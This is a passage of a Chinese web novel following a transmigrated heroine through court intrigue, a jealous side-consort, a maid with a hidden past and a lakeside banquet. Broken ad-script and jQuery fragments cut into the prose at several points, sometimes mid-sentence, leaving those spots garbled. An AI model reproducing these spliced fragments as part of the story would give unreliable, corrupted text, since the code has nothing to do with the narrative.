屋内灯火通明,一众丫鬟婢女侍奉两侧,当中桌上玉盘珍馐,堆了个满满当当,却只围坐着三个人。 其中一位,跟岳明明穿得一模一样! 不用问,那便是王妃苏定柔。 川蜀长大,喜爱竹子…… 岳明明恨不得掐自己大腿,怎么就忘了狗仔系统给出的信息呢! 赵琮昀居中而坐,雪缎云纹长袍,清朗依旧。在他左手边,侧王妃一身银丝绣裙,温婉低调,倒是与赵琮昀看起来更般配些。 见岳明明进来,三人谁都没有说话,表情却各有不同。 再瞥一眼身边婢女,脸上掩不住的洋洋得意。 岳明明心想,赵琮昀肯定没兴趣搞宅斗,不知今晚算计她的,究竟是苏定柔,还是侧王妃? 台子搭好了,戏就得唱下去。 岳明明倒也不见慌张,从容行礼。 苏定柔不愧是世家闺秀,涵养极好,见到跟自己穿成双胞胎的妾室,并没有当场掀桌子,只垂眸淡淡应了一声。 赵琮昀不紧不慢饮了口茶,没说话。 一旁的侧王妃却泠泠开口:“岳娘子可知,今天是什么日子?” 岳明明摇头。 侧王妃柔声道:“一年前的今天,是王爷与王妃成婚之日。府中特意为此装饰一番,王妃又亲自下厨,用心准备了这顿饭菜……娘子迟到这么久也就算了,还穿成这样,是仗着自己刚进门,就不把王妃放在眼里吗?” 她声音婉转动听,言辞却咄咄逼人,身旁婢女眼神一路追随她,邀功的意思不要太明显。 岳明明心中了然……原来是这位啊! 迟到,撞衫,从头到尾“帮”自己的婢女,又是安排好的人,此刻巴不得出面替她“解释”呢! 错上加错,辩无可辩。 好一场鸿门宴! 好一个下马威! “狗仔,给我查查这位侧王妃!”岳明明身负系统,底气十足。 “李凭如,当朝国舅李显宗的小女儿,皇后的亲侄女,与赵琮昀算得上青梅竹马,十二岁就立志嫁给赵琮昀,可惜晚了苏定柔一步,只能当个侧妃。 “这位学问相貌在京中都不算出众,当初赵琮昀不愿娶她,无奈迫于皇后压力,才勉强答应。她的人生目标就是取代苏定柔,再给赵琮昀生个儿子……” 岳明明差点笑出声。 她不想宅斗,但很愿意杀一杀这位皇亲国戚的威风。 拿定主意,岳明明上前一步,径直从桌上抓过酒壶,接连斟满三杯,朝苏定柔道:“迟到是我不对,我先自罚三杯,给王妃姐姐赔罪!” 说罢一口气灌下三杯酒,然后面不改色,当众脱起了衣服。 所有人目瞪口呆,连赵琮昀脸色都变了! 岳明明动作极快,眨眼间将外衣脱了个干净,露出轻薄内衫,一弯玉臂晃得人发愣,她却浑然不觉,眼睛亮晶晶,这次却是对着李凭如:“姐姐看我这样可满意?” 李凭如哪见过这样疯癫的妾室,顿时露出跋扈面目,厉声道:“这是什么勾栏瓦舍的行径,王府的脸都被你丢尽了!来人,给我拖下去,家法处置!” 几个婢女就要上前,岳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明明却先发制人,猴子一样攀住赵琮昀,低低道了声:“说好的第三件事!江湖救急!” 赵琮昀身体僵了一下。 他抬眸沉沉看了眼挂在自己手臂上的少女,显然犹豫着要不要救她狗命。 “小贱人还敢勾引王爷!” 李凭如不愧暗恋赵琮昀多年,看到眼前一幕,登时气红了眼:“你们是废物吗?还等什么!” 赵琮昀轻轻咳了一声,没理会拼命使眼色的岳明明,转头向苏定柔道:“王妃想怎么处置?” 苏定柔反应冷淡:“吃饭吧,菜都凉了。” 婢女们进也不是,退也不是,下意识看向侧王妃。 李凭如当然不肯善罢甘休,咬牙道:“姐姐真是好脾气,难道纵容她穿成这样与我们同席?她小门小户、没皮没脸倒无所谓,以你我的家世,传出去岂不丢了太傅公和皇后娘娘的脸!” 苏定柔抬起头:“你要如何?” “岳娘子这副打扮,实在有碍观瞻,不如让她先退下吧。”说话间对婢女使个眼色,这是要把岳明明带去没人的地方处置。 苏定柔不置可否,瞥一眼赵琮昀,把难题又抛了回去。 赵琮昀笑了笑,起身褪去外袍,轻轻覆在岳明明身上:“一家人吃顿饭,何须在意那么多礼节?侧王妃觉得,本王这件衣服,可还入得了眼?” 李凭如当场呆住,连苏定柔都诧异地扬起眉毛。 赵琮昀一贯风流,她们自然是知道的。只是这位怜香惜玉的兴致,都给了秦楼楚馆佳人,关起府门总是一副清心寡欲的样子,对待两位王妃反倒比街边路人还客气。 谁也没料到,他今天突然转了性,对刚入府的妾室如此体贴袒护。 “……王爷!” 李凭如嫉妒得几乎哭出来,这是她多少年求而不得的一幕,怎么就便宜了这个小妖精! 岳明明整个人也呆呆的,像被人施了定身法。 她刚才只觉一股清冽气息从天而降,接着就被男子宽大的外袍罩了个结结实实。外袍上犹带着赵琮昀的体温,暖意融融,惹得岳明明闹了个大红脸。 赵琮昀浑不在意,捡起玉箸率先夹了两口菜,淡淡道:“都动筷吧。” 用的是不容置疑的语气。 结果这顿饭吃得各怀心思—— 李凭如吃亏都吃饱了,哪还会有胃口。苏定柔倒未受影响,只是她教养太好,吃起饭来慢条斯理,让人看着不免着急。 原本饿鬼附身的岳明明,因外袍上若有似无的男子气息,吃得三心二意。 令她意外的是,本应最捧场的赵琮昀,也只鸟啄般捡了几口,多数菜碰都没碰。 看来这对夫妻的关系,还真是耐人寻味。 离席时,岳明明看着满桌剩菜迈不动步,很遗憾不能打包。 李凭如仍不甘心,扫了眼岳明明,带着醋意刻意提醒道:“岳娘子别满脸不舍了,王爷今晚是要留下来陪王妃的!” 岳明明从水煮鱼和红油鸡上移开目光:“啊……你说什么?” “谁说我要留下了?” 赵琮昀极自然地挽起岳明明的手,放入自己掌心,对她微微一笑:“本王今晚陪你。” 岳明明瞬间石化。 这狗男人……是在撩她吗?! 5. 第 5 章 岳明明下意识想抽回手,赵琮昀却俯身过来,替她紧了紧外袍,在她耳边轻轻说了句:“江湖救急。” 岳明明耳根发红,有些不知所措。 她没想到,报应来得这么快…… 她只能像个提线木偶,被赵琮昀一路牵到参园。然而刚迈进园子,赵琮昀立刻收回手,又恢复了一贯清冷矜傲的模样。 手心余温仍在,岳明明微一愣神,赵琮昀身高腿长的身影便消失在山石后,丝毫没有等她。 岳明明跌跌撞撞追上去。 “这里是我的卧房……你去书房等。”赵琮昀皱眉,当着岳明明的面,啪一声将门重新关上。 热脸贴了冷屁股,岳明明彻底清醒。 她收起不切实际的幻想,重新坚定了对赵琮昀的讨厌——总有一天,她要将这个男人暴揍一顿! * 赵琮昀是去换衣裳的。 再见面时,他一身玄色金丝长衫,乌发利落束起,更显意气风发。可惜岳明明恨屋及乌,只当他是只掺了金毛的大乌鸦。 “你刚才什么意思?”岳明明质问道。 赵琮昀从容坐下,捡了颗香丸扔进紫金炉,慢悠悠道:“你可知在这王府之中,谁说了算?” 岳明明一怔:“不是你吗?” 赵琮昀唇角噙了抹冷笑:“王府上下,除了这参园,全都是侧王妃的眼线。她想叫谁消失,这个人第二天就绝不会再出现。” “就因为她是皇后侄女?”岳明明惊讶。 赵琮昀瞥她一眼:“既然早就知道,还敢招惹她?” 岳明明有点慌,她以为搞定赵琮昀就能高枕无忧,没想到他是个中看不中用的废物。 “我现在去负荆请罪,跟你撇清关系,来得及吗?” “穿着我的外袍,住进我的园子,你以为还撇得清吗?” 岳明明忽然明白过来:“你……你是故意的?!” 席间赵琮昀的种种举动,就是为了挑起李凭如的妒意和杀心,他要借李凭如之手,把她逼入四面楚歌的绝境。 “为什么这么做?” 岳明明大怒:“你还是不是男人?把我们一个个耍得团团转,有意思吗?” 赵琮昀也不拐弯抹角,直接道:“答应我一件事,我保你在府中平安……她的手尚且伸不到这个园子,只要你老老实实待在这里,她就拿你没办法。” “我凭什么答应你?”岳明明掏出赵琮昀亲手写下的承诺书,摔在桌上:“说话不算话,我再也不相信你了!” 赵琮昀伸出修长手指,优雅地敲了敲桌面:“你仔细看看,我哪里失信于你?” 他盯住岳明明的眼睛:“过几日我要办一场游湖赏月会,需要你以宠妾的身份出席,陪我再演一场戏。” 岳明明怒气冲冲瞪回去:“你又耍什么花招?” 赵琮昀平静道:“还要感谢你的好父亲……谋杀之事栽赃不成,又传我嫌弃他六品官员的微末身份,在府中刻意刁难你。 “现在全京城都认准了岳家娘子正在王府受气,谏臣们已经在写折子了……我虽名声不好,却不愿平白担个欺压同僚的罪名。” “我是真的在王府里受气啊……哪里冤枉你了?”岳明明道。 赵琮昀似乎耐心耗尽,不再多言,冷冷道:“你若不同意,或是觉得委屈,现在就可以离开。” 岳明明很想转身就走,留给赵琮昀一个潇洒的背影,可身体诚实地杵在了原地。 她羞愧地发现,在死亡威胁面前,自己是个怂货,不配做女侠。 “不走?那就是答应了?” 赵琮昀好死不死地补充道:“大庭广众你连衣服都敢脱,想来不是害羞之人,演场戏而已,不算为难吧。” 一旁东叔的嘴角微微抽搐,努力冲赵琮昀使眼色。 岳明明果然爆发了,台词却很没有骨气:“请你解释清楚,宠妾是什么意思?这场戏需要我配合到什么程度?我要加钱!我出场费很贵的!” * 第二日府中便已传开,连两位王妃都不曾踏足的参园,新来的妾室搬进去了! 岳明明当众脱衣的事迹,更是经过添油加醋,成为勾引赵琮昀的有力证据。 她们哪里知道,人人艳羡的岳明明,已经快被赵琮昀逼疯了。 这个男人……居然连夜写了厚厚一本说明文书,然后把她扔给东叔,要她在三日内完成考核,成为一名合格的宠妾。 岳明明拿出大学期末考试的劲头,吭哧吭哧背了一上午,累得头晕眼花。 “东叔救命!这个字又是什么意思啊?” 岳明明文言文的造诣,还停留在高中语文课水平,赵琮昀引经据典的写作风格,令她十分抓狂。 东叔叹口气,好好的一个侍卫,兼职当起了古文翻译。他想不通,这位小娘子好歹是官眷出身,怎么连字都识得磕磕绊绊…… 他当然看得出来,岳明明身上藏着许多秘密,可多年江湖直觉告诉他,她虽行事古怪,却是与人无害的。 可惜王爷不信。 赵琮昀在群狼环伺中待得太久,早已磨出一颗密不透风的防备之心。 她越努力表明心迹,他就越怀疑。 “东叔,你跟我说实话,你家王爷是不是又在耍我?”岳明明委屈道。 “娘子说笑了……这场游湖不比普通家宴,京中达官显贵都收到了王爷的请帖,必定会出席。届时娘子万众瞩目,多少双眼睛盯着,多少姑娘羡慕着……若出了差错,岂不辜负了王爷的一片苦心?” 岳明明不信:“搞这么大阵仗,就为了证明他待我不错,没有看不起我的家世出身?” 她深觉其中有诈。 赵琮昀这只诡计多端的狐狸,思路怎么可能如此简单直白! 果然,东叔犹豫片刻,低声道:“娘子可知,你交给王爷的那张纸,在朝堂中牵连甚广,一不留神就要掀起滔天波澜。” 岳明明一呆:“他不是皇帝的亲弟弟吗,还会怕这些?” 东叔苦笑:“就因为他的身份地位,更要处处顾忌。这件事御史可以查,六部可以查,唯独他不能查!” “因为圣上需要他,做个不问朝事的闲散王爷。他若表现出对朝堂的一丝一毫兴趣,那便是僭越了。” 岳明明似有所悟。 古往今来,君王路上,父子反目、同室操戈的故事并不罕见。为免皇帝忌惮,赵琮昀只能做个不务正业的皇室吉祥物。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可他那样的心性,会甘愿吗? 东叔继续道:“最近你父亲明里暗里,故意挑唆,大概也在试探,你有没有将记录交出来……他们恐怕已经怀疑,王爷在暗中调查漕运之事。” “他不能不管吗?”岳明明天真地问。 东叔摇头:“江州数十万难民,饿殍遍野,易子而食……他一腔凌云志,拳拳事国心,你叫他如何不管?” 岳明明沉默下来。 她一直以为赵琮昀厌恶她父亲,只是单纯的官场争斗,不想背后竟牵涉了数十万百姓的生死存亡。 “所以……他为了打消皇帝和我父亲的怀疑……才安排了这场游湖?”岳明明缓缓道。 东叔见她一点就透,点头道:“不错,一个只会花钱的纨绔王爷,才能让所有人安心。” 言及此处,他突然深施一礼:“请娘子念及王爷的良苦用心,务必帮帮他!” “东叔你放心,我一定不拖后腿!” 岳明明豪迈承诺后,打开文书,将头深埋了进去。 * 吃过晚饭,岳明明正在房中用功,忽听园子里传来一阵嘈杂声,隐约还夹杂了女子的抽泣。 岳明明这两天仔细观察过,参园幽僻安静,仆从很少,女人更是只她一个,怎么会有女子哭声? ……这地方不会闹鬼吧? 她越听越不安,干脆抓起书案上一枚沉甸甸的砚台,朝哭声探去。 到地方一看,原来是熟人! 李凭如正领着几名婢女,围在参园门口,与东叔争论着什么。 见岳明明出现,李凭如眼里闪过一丝恨意,越发哭得楚楚可怜:“我知道王爷有令,不许外人进园子。可我一番好意,东叔就不能通融通融?” 原来这位得知游湖赏月之事,特意送来一位擅长化妆的小婢女,说是要献给岳娘子。 岳明明心中好笑,这位黄鼠狼给鸡拜年,绝没安什么好心! 可手段未免太明目张胆,她想不通,其中到底有何深意…… 东叔也是只老狐狸,任李凭如哭出花来,雷打不动一句话回应:“王爷不许,您莫要为难我了。” “东叔这是信不过我?” 李凭如发现哭不管用,立刻换了招数,将小婢女一把拉到东叔面前,厉声吩咐道:“脱衣服!” “东叔尽可以检查,看她身上是否藏了见不得人的东西……还有这些胭脂水粉,都是皇后娘娘亲自赏的,也一并验个清楚!我自己舍不得用,全都拿给岳娘子,只为给王爷争一份脸面,还要被你们如此折辱!” 东叔脸色终于凝重起来—— 李凭如以婢女要挟,又搬出皇后娘娘,软硬兼施,看来铁了心要把人送进去。 那小婢女不敢违抗命令,只能缩着瘦弱的身体,将衣服一件一件颤抖着往下褪。 很快她就脱无可脱,最后这一身若脱下来,让人瞧见了身子,不管结果如何,她都只剩下投湖的命了。 “还不继续脱?磨蹭什么?” 李凭如挑衅似的看着东叔,她这方法,还是昨晚受了岳明明启发。 僵持之际,岳明明忽然上前一步,拉住小婢女冰凉的手,笑盈盈问道: “你叫什么名字?” 6. 第 6 章 小婢女恐惧地望向李凭如,不敢擅自作答。 “不中用的东西!这位岳家娘子今后就是你的主子,主子问话,还不如实回答?”李凭如冷冷道。 “奴婢……叫杏儿。”小婢女嗫嚅道。 岳明明仔细端详杏儿,确有几分娇憨,却绝没有闭月羞花之貌,性子又唯唯诺诺,若指望她来勾引王爷,除非赵琮昀瞎了眼。 她灵机一动,想起冷落许久的狗仔系统。 “……这个角色,能查吗?” 系统十分配合,顷刻给出结果。 “杏儿,自小父母双亡,算命先生说她命犯孤星,是个不祥之人。在街头流浪时,被一名老仵作捡走,两人相依为命,仵作去世后,她凭借给死人化妆的手艺,在幽州杏花楼为官妓们试妆为生。” “试妆……是什么意思?” “就是用自己的脸做画板,试验时下流行妆容,若效果好,官妓们再找师傅效仿。” “这么说来,她倒真有手艺!” 岳明明更想不通了……难道此女不祥,李凭如打算派她来克死自己? “你把衣服穿上,跟我进去吧。”岳明明见不得小婢女被如此羞辱,干脆应下来。 东叔大惊:“娘子使不得!王爷绝不会允许……” 岳明明玉手一挥:“没关系,我来跟他说!” 李凭如闻言面色僵住,眼中得色倏地消失,重燃起熊熊嫉恨之火。 岳明明嘻嘻笑道:“多谢姐姐!” 她最喜欢火上浇油了。 * 赵琮昀回来了。 东叔前脚禀明了事情经过,暴怒的王爷后脚就踹开了岳明明房门。 “我允许你住进来,你倒真把自己当回事,替我做起主了?你以为你是谁?!” 赵琮昀怒不可遏,玉面微微泛红,连眼底都透出一丝血色。 岳明明不明白他抽哪门子疯,小脸也沉下来:“李凭如逼她当众脱衣服,我不把她带进来,你要她怎么办?” “脱个衣服而已,你自己不是也脱过吗?这种上不得台面的伎俩,如果人人都来,我这园中岂不成了秦楼楚馆!” 岳明明不敢置信地看他,将手中文书狠狠砸过去:“这个戏我不演了!你爱找谁找谁!明明是李凭如的错,她是皇后侄女你不敢对她怎么样,却在这里对我大喊大叫!我看不起你,你跟我父亲他们没什么两样,都是趋炎附势、草菅人命的垃圾!” 东叔急道:“娘子慎言!王爷不是这个意思!” 赵琮昀脸上血色瞬间褪去,薄唇抿成一线,眼里怒意翻腾,整个人冷得就像一块人形冰山。 他不再理会岳明明,目光锁定杏儿:“李凭如派你来,究竟有什么目的?如果不说实话,我要你的命!” 杏儿吓破了胆,跪倒在地:“侧王妃真的只是叫我来给岳娘子化妆……其他我什么都不知道!求王爷饶了我吧!” 赵琮昀冷笑一声,对东叔道:“查到什么了?” “身份倒是干净,是个孤儿,被胭脂铺老板养大,在化妆上颇有造诣。月初刚入府,是侧王妃母家送来伺候那位梳妆的。” “哪家胭脂店?老板人在何处?” “落英巷云芳斋,老板姓黄,前些日子过世了。不过邻居们都见过这丫头跟在老板身边,应该没说谎。” “死了?”赵琮昀眸光一闪:“这么巧?” 东叔垂首道:“属下再去详查。” 岳明明听得纳闷,一时忘了生气,忍不住插嘴道:“你不是跟着仵作长大,后来在幽州杏花楼试妆吗?怎么冒出来个黄老板?” 难道狗仔系统出错了? 然而下一秒,她发现所有人都见鬼似的盯着她。 “我……说错什么了?”岳明明惶恐道。 赵琮昀脸色阴沉得可怕:“你从何得知这些?” 岳明明心道糟糕,不小心说漏了嘴,只好装出高深莫测的样子:“咳咳……天机不可泄露。” 赵琮昀喝道:“此刻还胡闹!你知不知道自己说了什么!” 杏儿早已面如土色,瘫在地上瑟瑟发抖,赵琮昀只看一眼就明白了—— “你当真在幽州杏花楼待过?” 杏儿哭道:“娘子说的没错……奴婢当年在杏花楼讨生活,后来出了那件事,杏花楼封了,幽州城也待不下去了……我逃到京城,在黄老板的胭脂铺子找了份差事。 “黄老板死后,有人带我进了王府,昨夜侧王妃找到我,给我新身份,让我来服侍岳娘子……奴婢什么都没做过,奴婢只是想活下去!” 赵琮昀冷冷道:“当年官府拿着名录核对过,杏花楼三百二十九口人,无一生还,你又是怎么逃出来的?” “奴婢义父是仵作,懂些验尸方法……我将几具尸体拆散,拼出一具残尸瞒了过去,之后不停地化妆易容。” 她顿了顿道:“奴婢也不知侧王妃是怎么发现的,她说只要我待在岳娘子身边,她就会替我守住秘密……” 赵琮昀与东叔对视一眼。 李凭如当真丧心病狂,为了对付一个妾室,居然敢去翻这件旧账! 东叔低声建议:“王爷,此人留不得!” 赵琮昀沉吟不语。 岳明明听出这小婢女身世不简单,却无法接受杀人灭口:“她什么都没做过,你们这岂不是滥杀无辜?我不同意!” 赵琮昀深眸沁出冰冷笑意:“你要不要先听听,杏花楼发生过什么,再来逞强?” 五年前,幽州杏花楼艳名远播,直入京城,惹得无数王公子弟朝思暮想,连天子都动了心。 借南巡之由,天子不顾阻拦,到底在杏花楼留宿一晚。没想到两个月后,所有同行臣子侍从接连暴毙,天子数度病危。 麒麟卫查来查去,发现杏花楼大有问题! 据说楼中女子,无一不精通巫蛊之术,与之相处过的人,不是横死就是病重,总之没有好下场。 祸及天子,皇后震怒,将杏花楼连夜屠戮查封,又找来高僧作法七七四十九日,才保得天子化险为夷。 幽州杏花楼从此成为本朝禁忌,无人再敢提起。 岳明明听罢目瞪口呆,第一反应是大骂系统:“这么重要的信息,为什么刚刚不告诉我?” 系统:“您并没有主动检索相关词条。” 岳明明:“…………” 赵琮昀看她表情,嗤笑一声:“害怕了?后悔了?” 岳明明并不相信巫蛊之术,在她看来,这就是封建迷信作祟。 可是如果留下杏儿,等于递给李凭如一个天大把柄,她不知要生出多少事端。 “你害怕吗?”岳明明眸光熠熠,认真看着赵琮昀道:“如果我不怕,你敢把她留下吗?” 赵琮昀显然没料到,岳明明反将他一军。 他若有所思地瞥了眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 杏儿,又撞上少女期待的目光,原本已到嘴边的命令,又咽了回去。 “此事从长计议。” 最后赵琮昀只扔下一句话,便带着东叔离开了。 杏儿自知在鬼门关前走了一趟,吓得抖如筛糠,泪都流干了。 岳明明为她披上一件衣衫,安慰道:“别怕,你当年大难不死,必有后福,我会帮你想办法的!” 仿佛被少女眼里的热情灼到,杏儿怔怔看她:“娘子不怕巫蛊之术?若是我害了你……” “你会害我吗?”岳明明问。 “我发誓,此生绝不做任何伤害你的事!”小婢女语气前所未有的郑重,岳明明听得一愣。 杏儿说完便低下头。 谁也没看到,从始至终唯唯诺诺的她,眼中有凛冽的杀意一闪而过。 * 游湖赏月的日子,说到就到。 当晚暮云收尽,皎月初升,是难得的好天气。 一辆雍容华贵的马车候在府门前,旁边站了位盛装小娘子,正捧着文书埋头苦读。 岳明明还在临阵磨枪。 赵琮昀走出府门,看到眼前一幕,脚步略微顿了一下。 岳明明心有所感,抬头撞上赵琮昀似笑非笑的目光,便也朝他粲然一笑。 少女明澈的笑容,和着丹桂香气,沁得夜色都柔软起来。 赵琮昀默默收回目光,走到马车前,伸出一只白皙修长的手递了过去:“上车吧。” 等岳明明意识到,这是要扶她上车时,惊得差点咬了舌头。 好家伙,这就开始演上了! 岳明明也很敬业,抓住赵琮昀的手,配合地上了车。 那只手比她想象中凉了很多。 赵琮昀跟着上来,与她相对而坐,马车便悠悠向玉湖出发了。 车内气氛有些微妙,岳明明正犹豫要不要说点什么,赵琮昀却闭起眼睛,似在小憩。 岳明明心说正好,端起文书继续看起来。 可惜看着看着,眼神总是不自主地往赵琮昀身上瞟。 他今天像是从画中走出来的谦谦公子,金冠玉带,贵气逼人。一袭宽大的暗绿色锦缎蟒袍,衬得整个人玉树挺拔,却不染半分尘世烟火。 岳明明闻到他身上清冽的松雪之气,与上回那件外袍味道一模一样。 马车突然颠簸了一下,赵琮昀睁开眼睛,淡淡道:“你再看下去,我可要收钱了。” “胡说……我没有……”岳明明慌乱否认。 她手上忽然一空。 赵琮昀将文书抽了出来,扔进一旁的香炉,又丢了颗馥郁的香丸进去,掩盖住纸张燃烧的气味。 “不必再看了,到时候随机应变吧。” 岳明明感觉今天的赵琮昀很不一样,好像有点……温柔。 她犹豫了片刻,悄声道:“上次的事,对不起。” 赵琮昀挑眉看她。 岳明明刚要解释,就被他扔过来的一颗葡萄将嘴巴堵住。他又从袖中掏出一枚小巧的香囊,俯过身去,仔细系在了岳明明腰间。 岳明明结结巴巴道:“你……这是干什么?” 她配合演戏,他好歹也要把握一下尺度吧! “寺里求来的小玩意。你不信巫蛊之术,有它傍身,就当保个平安吧。” 岳明明暗骂了一句。 因为她发现,自己的心刚刚漏跳了一拍。 7. 第 7 章 玉湖岸边,灯火熠熠。 马车停稳后,赵琮昀拉过岳明明的手,从容走向正中主位。 岳明明表情淡定,内心慌得一批。 她哪里见过这样的场面…… 一眼望不到边的筵席,每道案头亮着精美的花灯,桌上珍馐琳琅,玉碟生辉,阵阵酒香扑鼻,听说是番邦进贡来的上好琼浆。 到场宾客既有带着家眷的官宦显贵,也有名气甚大的文人墨客,此时无一例外将目光锁在她身上,窃窃私语不绝于耳。 不用问,肯定没好话。 赵琮昀带着妾室如此招摇过市,他落个不拘小节的风流名声,她却成了过街老鼠。 真没天理! 岳明明赌气昂起头,拿出斗鸡姿态,倒真有几分飞扬跋扈的宠妾模样。 底下嗡嗡声更大了。 赵琮昀偏偏在此时将她往怀中一带,在她脸颊落下轻轻一吻。 ………… 岳明明脸瞬间红了。 不是羞的,是气的! 赵琮昀明明一杯未饮,却似已经醉了……灯火落在他俊逸的侧脸上,岳明明忽然有些认不出了。 往日见他,或矜贵桀骜,或冷定刻薄,哪怕盛怒之下,依然是端方的君子气度,从未有过一丝一毫的轻佻浮滑。 可现在,他好像不是他了…… 那样轻薄的举动后,他眼里满是戏谑之意,与众人一道哈哈大笑,令她很不舒服。 岳明明勉强维持姿态,跟着他款款落座。 赵琮昀随意挥手,伴着悠扬的丝竹之音,一队舞姬翩然入场,为首一名身段曼妙的女子轻纱罩面,款款施礼,随后轻歌曼舞,宴会正式开始。 “倒酒。” 赵琮昀斜倚玉案,低低吩咐了一声。 岳明明想起来,除了当好花瓶,这也是她今晚的重要职责。 经过东叔的调教,基本礼仪已熟稔于心,此刻岳明明素手执玉壶,酒线细长绵延,稳稳落入杯中,一套动作行云流水,很是赏心悦目。 底下竟有一些纨绔子弟看得入迷,毫不避讳喝起彩来! 赵琮昀唇角微微勾起,眼神落在斟满的酒杯上,意思不要太明显—— 这杯酒,她需要喂给他喝。 四周渐渐响起暧昧的怂恿声,岳明明脸上的假笑快挂不住了。 “怎么害羞了?在府中不是都说好了吗?”赵琮昀朗声笑道。 这是拿话点她呢! 岳明明无奈,端起酒杯递到赵琮昀唇边,咬牙悄声道:“你不要太过分!” 赵琮昀懒洋洋衔住酒杯,一饮而尽,底下席面传来高声叫好,他像受了某种鼓舞,长袖一挽,再次将岳明明揽了过来。 岳明明暗中用力挣扎,赵琮昀手劲却极大,将她紧紧箍住,根本动弹不得。 “你疯了!干嘛要这样?”岳明明怒道。 “你没看到,他们很喜欢吗?”赵琮昀温热呼吸里带着明显酒意。 岳明明身子一僵—— 她忽然想起那天扑到自己身上的轿夫。 赵琮昀察觉到怀中人微微颤抖起来。 垂首望去,一向牙尖嘴利、张牙舞爪的少女,此刻眼中莫名腾起一层薄薄水雾。她脸上怒容不再,取而代之的是对他深深的恐惧……以及厌恶。 赵琮昀一脸笑意倏地凝住,不自觉松开了手。 恰在此时,舞池中央领头舞姬,怀中琵琶曲调一扬,顿时吸引了所有人的目光。 无人注意到他们此刻的尴尬。 赵琮昀沉默片刻,自斟自酌了一杯,淡淡开口:“你……没事吧?” “嗯。” 岳明明声音闷闷的,身体本能地向外挪了挪,落在赵琮昀眼中,他眸光暗了下去。 “……接下来怎么办?” 岳明明心想,她和赵琮昀这样冷着脸,一场大戏岂不是要演砸了? “你不必管了。” 赵琮昀语气分不清是愠怒还是消沉,他骤然起身,拎起酒壶,待宾客们反应过来,已经到了舞池中央。 怀抱琵琶的舞姬眼波流转,玉手拨弄几个弦音,带着赤裸裸的挑逗意味。 赵琮昀仰面灌下一壶酒,竟然在众目睽睽之下,与舞姬调笑起来。 有好事者不怀好意地瞧向岳明明。 赵琮昀当众觅得新欢,娇滴滴的宠妾眨眼工夫就被冷落,说出去简直是天大的笑话! 岳明明脸色的确不大好看——她不明白赵琮昀在搞什么鬼,说好的消除误会,怎么反倒将传言做实了? 就因为她不让他抱,他就生气了? 她还没说什么呢,他倒先撂挑子了! 岳明明简直无语,正思忖着接下来要怎么圆回去,从筵席尽头走过来一个人。 人们只当是哪位醉酒小公子,却没想到,此人径直冲进舞池,对准赵琮昀就是一拳。 赵琮昀毫无防备,生生挨了这下,脸颊泛起一角淤青。那人仍不肯罢休,挥拳再来,东叔却已闪身将人制服。 守卫急匆匆奔过来,见赵琮昀脸色铁青,似有伤痕,顿时吓得双膝发软。 “何人胆敢生事?还打伤了王爷!” 人群中有人认出来:“这不是御察院新上任的李嗣吗?” 李嗣被按倒在地,破口大骂,言辞间全是对赵琮昀风流成性、辜负岳娘子的愤怒,众人听了几句,忽然兴奋起来—— 这三人之间莫非有故事? 岳明明头大如斗,一个赵琮昀还未搞定,这位突然冒出来的大哥,又是什么情况? 系统愉快提醒:“李嗣,七品监察御史,与你所扮演的角色自幼青梅竹马,十八岁时曾向你父亲求亲,被你父亲拒绝,这么多年一直苦恋不得,发誓终生不娶。” 岳明明:“…………” 眼见细白面皮、长手长脚的青年笨拙地倒在地上,岳明明心里有点感动。 “放开他。” 赵琮昀看清李嗣面容,沉声吩咐道。 岳明明刚要感慨,这位倒有些胸襟气度,结果下一秒,赵琮昀就从桌上捡起一壶酒,全浇在李嗣脸上:“御史大人喝多了,还不醒醒酒?” 李嗣被浇得一个激灵,踉跄起身,不顾形容狼狈,指着赵琮昀鼻子道:“你根本配不上她!既然你不珍惜,我今日就要带她走!” 他目光灼灼,看向一脸惊呆的少女:“明明,跟我走吧!” 岳明明瞬间失了神。 游戏世界里,第一次有人唤出她的名字。 明明。 她过了好半天才反应过来,李嗣唤的应该是她的小字。 可她还是很开心,这里所有人都管她叫岳氏、岳娘子,终于有人叫她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 岳明明。 大概是她眼中的喜悦过于明显,周围人顿时会错了意,以为她与李嗣当真有私情。 连李嗣都激动起来:“明明,你愿意的对吧!你不用怕……就算他是皇亲国戚,也大不过''礼法''二字,是他负你在先,就算告上金銮殿,我也要救你出这苦海!” 岳明明噎住。 她倒也不是这个意思啦! 婚内私奔太刺激,就算在游戏里,她也没豪迈到那个程度。 “御史大人……你当本王死了么?” 赵琮昀阴恻恻开口,朝前迈出一步,强行将两人目光隔开。 他比李嗣身形高大,长臂探出,带着咄咄逼人的压迫感,拧在李嗣脖颈间:“你算什么东西,跑到我的宴会上,跟我抢女人?” 岳明明想起赵琮昀打架的光辉战绩,心道不好,李嗣这样的文弱书生挨上一顿揍,恐怕半条命就交代了。 她慌忙跑过来阻止:“等等……王爷手下留情!” 赵琮昀闻言眸色更深,手上发力,李嗣顿时满脸通红,喘不过气来。 岳明明用力掰他手掌:“松开……你松开!我不走!” “你说什么?”李嗣哑着嗓子道。 “我不能跟你走……我已经嫁给他了,就算他的人了……你还是把我忘了吧。”岳明明硬着头皮酸言酸语。 赵琮昀手上一松,神色复杂地瞥了眼岳明明,没有说话。 “嫁人又怎样?你可以跟他和离,我还可以求他写休书……我不在乎的!”李嗣说着眼眶先红了。 岳明明心里叹气,休书她已经收到了,可她还是不能跟他走。 如果李嗣对她没有这么深的感情,她倒是可以借机离开王府是非之地,安安静静过上半年小日子。 可他那么喜欢自己……她若答应,就是欺骗他。 她根本不是他青梅竹马的那个人,更重要的是,她有朝一日是要离开的。 岳明明不顾周围人指指点点和赵琮昀晦暗不明的目光,伸出手去,替李嗣理了理凌乱的长衫,又拍拍他肩膀。 “咱们……就相忘于江湖吧。” 言毕,她主动挽过赵琮昀冰凉的手,对他眨眨眼:“喝酒去吧,之前说好的!” 赵琮昀任她拉着,没有抗拒。 “岳明明!”李嗣大声叫住她:“看看你嫁的是什么人!” 他忽然一脚将桌案踹倒,碟碗摔碎,玉壶崩裂,琼浆美酒流了一地。 